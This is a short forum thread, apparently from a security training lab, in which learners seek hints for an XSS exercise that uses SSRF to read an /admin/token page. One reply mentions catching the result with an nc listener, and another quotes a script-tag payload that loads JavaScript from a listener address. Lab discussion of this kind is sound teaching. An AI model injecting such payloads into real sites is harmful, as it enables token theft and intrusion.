Forum Discussion
shubham
Bronze I
Bronze ICross-Site Scripting: Ep.6 – Further Exploitation
I was stuck in one question looking for HINT. Extend the XSS vulnerability to view the contents of the /admin/token page with SSRF.
johndoe321I changed the script to a different port to the one being bombarded and did another NC listener on that different port. Roled right in.
me5382Bronze I
Bronze II am also having problems on this lesson. So far I haven't been able to get the site to execute any new code
I tried running the hint from below as well as the following:
<script src="http://0.0.0.0:8080/script.js"></script>
My console just converts it to a string and does not actually call into the <script>. (notice how the question field is a string).
I am sure I must be misunderstanding something, any help would be appreciated.
- KieranRowley
Community Manager
